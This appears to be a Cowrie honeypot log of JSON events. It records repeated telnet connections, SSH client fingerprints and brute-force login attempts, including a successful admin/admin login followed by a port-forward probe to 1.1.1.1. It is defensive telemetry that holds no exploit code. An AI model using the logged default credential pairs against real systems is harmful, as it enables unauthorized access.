{"eventid":"cowrie.session.closed","duration":30.686039447784424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:17.115604Z","src_ip":"69.73.180.12","session":"07b053e54118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80264949798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:18.065735Z","src_ip":"69.73.180.12","session":"5de821619f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571226835250854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:19.042012Z","src_ip":"69.73.180.12","session":"9e1e09e03b2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99013376235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:19.120013Z","src_ip":"69.73.180.12","session":"92b80cf34aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.803088665008545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:19.875803Z","src_ip":"69.73.180.12","session":"81e77d21f5b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65840983390808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:20.114887Z","src_ip":"69.73.180.12","session":"38ec494b2960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926731824874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.118478Z","src_ip":"69.73.180.12","session":"5c8f285aeefe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":45644,"dst_ip":"10.17.0.5","dst_port":23,"session":"5736ee802d0e","protocol":"telnet","message":"New connection: 69.73.180.12:45644 (10.17.0.5:23) [session: 5736ee802d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.240802Z"}
{"eventid":"cowrie.session.closed","duration":30.973062753677368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.588295Z","src_ip":"69.73.180.12","session":"d8af575d880d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43018,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfed8728106b","protocol":"ssh","message":"New connection: 159.203.92.129:43018 (159.203.135.109:22) [session: bfed8728106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.955324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.959961Z","src_ip":"159.203.92.129","session":"bfed8728106b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.964802Z","src_ip":"159.203.92.129","session":"bfed8728106b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"222222","message":"login attempt [aaaaaa/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:21.980398Z","src_ip":"159.203.92.129","session":"bfed8728106b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":48938,"dst_ip":"10.17.0.5","dst_port":23,"session":"8808e32b3326","protocol":"telnet","message":"New connection: 69.73.180.12:48938 (10.17.0.5:23) [session: 8808e32b3326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:22.083338Z"}
{"eventid":"cowrie.session.closed","duration":31.042615175247192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:22.118151Z","src_ip":"69.73.180.12","session":"6b9b08c796fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"52008d7dd847","protocol":"telnet","message":"New connection: 69.73.180.12:49754 (10.17.0.5:23) [session: 52008d7dd847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:22.224396Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:22.986817Z","src_ip":"159.203.92.129","session":"bfed8728106b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.989662647247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:25.092421Z","src_ip":"69.73.180.12","session":"f9f051b3251b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686909437179565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:26.078678Z","src_ip":"176.123.5.144","session":"91e265ae3bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c1cac60b482","protocol":"telnet","message":"New connection: 69.73.180.12:38056 (10.17.0.5:23) [session: 7c1cac60b482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:26.115961Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":41242,"dst_ip":"159.203.135.109","dst_port":22,"session":"47d4d8c9cf2f","protocol":"ssh","message":"New connection: 103.63.108.25:41242 (159.203.135.109:22) [session: 47d4d8c9cf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:26.124874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:26.135042Z","src_ip":"103.63.108.25","session":"47d4d8c9cf2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:26.405188Z","src_ip":"103.63.108.25","session":"47d4d8c9cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42036,"dst_ip":"10.17.0.5","dst_port":23,"session":"412a20dcef3b","protocol":"telnet","message":"New connection: 69.73.180.12:42036 (10.17.0.5:23) [session: 412a20dcef3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:27.117761Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git123","message":"login attempt [ubuntu/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:27.502343Z","src_ip":"103.63.108.25","session":"47d4d8c9cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":45830,"dst_ip":"10.17.0.5","dst_port":23,"session":"2092efe07cd8","protocol":"telnet","message":"New connection: 69.73.180.12:45830 (10.17.0.5:23) [session: 2092efe07cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:28.086591Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:28.786942Z","src_ip":"103.63.108.25","session":"47d4d8c9cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":50220,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f3b5fcf176","protocol":"telnet","message":"New connection: 69.73.180.12:50220 (10.17.0.5:23) [session: b1f3b5fcf176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:29.137262Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":53946,"dst_ip":"10.17.0.5","dst_port":23,"session":"45174303705e","protocol":"telnet","message":"New connection: 69.73.180.12:53946 (10.17.0.5:23) [session: 45174303705e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:30.084840Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ca3adc2a9e","protocol":"telnet","message":"New connection: 69.73.180.12:33196 (10.17.0.5:23) [session: c8ca3adc2a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:31.968529Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33504,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aac457eee33","protocol":"telnet","message":"New connection: 69.73.180.12:33504 (10.17.0.5:23) [session: 3aac457eee33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:32.074281Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34004,"dst_ip":"10.17.0.5","dst_port":23,"session":"0933f2308727","protocol":"telnet","message":"New connection: 69.73.180.12:34004 (10.17.0.5:23) [session: 0933f2308727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:32.159867Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37164,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74d1baecafa","protocol":"telnet","message":"New connection: 69.73.180.12:37164 (10.17.0.5:23) [session: b74d1baecafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:32.900938Z"}
{"eventid":"cowrie.session.closed","duration":30.754266500473022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:33.035766Z","src_ip":"69.73.180.12","session":"6f117dfb2fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38078,"dst_ip":"10.17.0.5","dst_port":23,"session":"371fb8275536","protocol":"telnet","message":"New connection: 69.73.180.12:38078 (10.17.0.5:23) [session: 371fb8275536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:33.142895Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44306,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c6eae1a062","protocol":"telnet","message":"New connection: 69.73.180.12:44306 (10.17.0.5:23) [session: 05c6eae1a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:34.619852Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b633920feca3","protocol":"telnet","message":"New connection: 69.73.180.12:46336 (10.17.0.5:23) [session: b633920feca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:35.151315Z"}
{"eventid":"cowrie.session.closed","duration":30.814640760421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:36.050084Z","src_ip":"67.231.17.187","session":"afd209f96c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247088193893433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:36.386093Z","src_ip":"69.73.180.12","session":"9a30bf4126e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":57946,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe0614189f86","protocol":"telnet","message":"New connection: 69.73.180.12:57946 (10.17.0.5:23) [session: fe0614189f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:38.137599Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b22a9a14569","protocol":"telnet","message":"New connection: 69.73.180.12:58066 (10.17.0.5:23) [session: 5b22a9a14569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:38.153900Z"}
{"eventid":"cowrie.session.closed","duration":30.892690896987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:40.055465Z","src_ip":"69.73.180.12","session":"d2a9791bd7d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41592,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1175f4df71","protocol":"telnet","message":"New connection: 69.73.180.12:41592 (10.17.0.5:23) [session: ba1175f4df71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:41.072891Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"87822ac602b4","protocol":"telnet","message":"New connection: 69.73.180.12:42110 (10.17.0.5:23) [session: 87822ac602b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:41.163072Z"}
{"eventid":"cowrie.session.closed","duration":30.93607234954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:42.085915Z","src_ip":"69.73.180.12","session":"606563a15d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937620639801025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:42.107942Z","src_ip":"69.73.180.12","session":"581638658ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003602981567383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:42.112981Z","src_ip":"69.73.180.12","session":"45477287f680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"697b038c2968","protocol":"telnet","message":"New connection: 69.73.180.12:46182 (10.17.0.5:23) [session: 697b038c2968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:42.168891Z"}
{"eventid":"cowrie.session.closed","duration":30.596303939819336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:43.187764Z","src_ip":"69.73.180.12","session":"b0f1243b996c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79440188407898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:43.861243Z","src_ip":"69.73.180.12","session":"77abadeb431e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937776565551758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:44.080618Z","src_ip":"69.73.180.12","session":"a948851a6b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54486,"dst_ip":"10.17.0.5","dst_port":23,"session":"724a8058ff7e","protocol":"telnet","message":"New connection: 69.73.180.12:54486 (10.17.0.5:23) [session: 724a8058ff7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:44.181807Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54704,"dst_ip":"10.17.0.5","dst_port":23,"session":"086e04abb2ad","protocol":"telnet","message":"New connection: 69.73.180.12:54704 (10.17.0.5:23) [session: 086e04abb2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:44.231675Z"}
{"eventid":"cowrie.session.closed","duration":31.181625366210938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:44.303772Z","src_ip":"69.73.180.12","session":"742f064dc40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"74691f4b4f6b","protocol":"telnet","message":"New connection: 69.73.180.12:55494 (10.17.0.5:23) [session: 74691f4b4f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:44.426639Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58282,"dst_ip":"10.17.0.5","dst_port":23,"session":"536c01e12640","protocol":"telnet","message":"New connection: 69.73.180.12:58282 (10.17.0.5:23) [session: 536c01e12640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:45.140292Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30964,"dst_ip":"10.17.0.5","dst_port":22,"session":"a741a8531a98","protocol":"ssh","message":"New connection: 87.251.64.176:30964 (10.17.0.5:22) [session: a741a8531a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.014979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.019543Z","src_ip":"87.251.64.176","session":"a741a8531a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.115646Z","src_ip":"87.251.64.176","session":"a741a8531a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34076,"dst_ip":"10.17.0.5","dst_port":23,"session":"44451bed63e3","protocol":"telnet","message":"New connection: 69.73.180.12:34076 (10.17.0.5:23) [session: 44451bed63e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.142031Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.406284Z","src_ip":"87.251.64.176","session":"a741a8531a98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.504711Z","session":"a741a8531a98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.602660Z","src_ip":"87.251.64.176","session":"a741a8531a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:46.701348Z","src_ip":"87.251.64.176","session":"a741a8531a98","protocol":"ssh"}
